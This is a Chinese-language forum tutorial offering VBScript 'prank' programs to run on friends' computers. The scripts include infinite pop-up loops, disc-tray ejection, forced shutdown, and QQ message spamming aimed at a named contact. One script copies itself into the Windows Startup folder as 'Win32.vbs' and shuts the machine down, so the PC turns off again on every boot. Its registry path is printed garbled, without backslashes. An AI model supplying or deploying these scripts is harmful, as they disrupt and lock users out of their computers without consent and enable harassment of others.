精華 教大家做一些簡單的vbs計算機惡搞小程序

新手教學（大神請跳到第五步）：

?編寫vbs?有多簡單？新建「文本文檔」，輸入msgbox "一大波病毒正在靠近..." ，點擊文件->另存為->重命名為「代碼.vbs」。文件名不重要，重要的是後綴要是「.vbs」。

雙擊保存的文件：代碼.vbs，即彈出一個對話框。記下這段小小的代碼，去同學家裡惡搞吧。當然你還可以輸入其他有趣的文字。

當然，如此惡搞還是不夠的。那就來一個無限循環吧，輸入圖中代碼另存為vbs格式。雙擊打開。此時，會彈出提示對話框，點擊確定和關閉按鈕之後，再一次彈出窗口，如此循環，無法正常關閉。

那麼到底要如何才能關閉呢？打開任務管理器結束進程「wscript.exe」即可

到此新手教學完畢，下面進入大神課堂教學。

無限彈出光碟機：

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

do

cd.eject

loop

------------------------------------------------

無盡語音報數：

無限語音從1數到無限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------

7

無盡刷新：

慎用，如此刷新打開任務管理器都難，只能拔掉電源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys ""

loop

------------------------------------------------

8

修改註冊表：

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup")

if not f="Win32.vbs" then wr.copyfile f,q&"Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

9

QQ信息騷擾惡搞：

打開好友的聊天對話框，然後記下聊天對話框的名稱（如圖：小敏），把下面代碼里的小敏替換一下。代碼中的「10」代表發送次數，把10修改一下就可以自定義發送QQ信息到好友的次數。把發送的內容「複製」即可，當打開本vbs的時候就會把剪切板里的內容粘貼發送過去。

------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("小敏")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

------------------------------------------------

10

直接關機：

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

11

不斷按下alt+f4 ：

打開任何程序都關掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%"

loop

------------------------------------------------

12

開玩笑也得有個度，凡事都不要太過。上面的代碼的尺度還不算很大，大家可以玩玩。

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！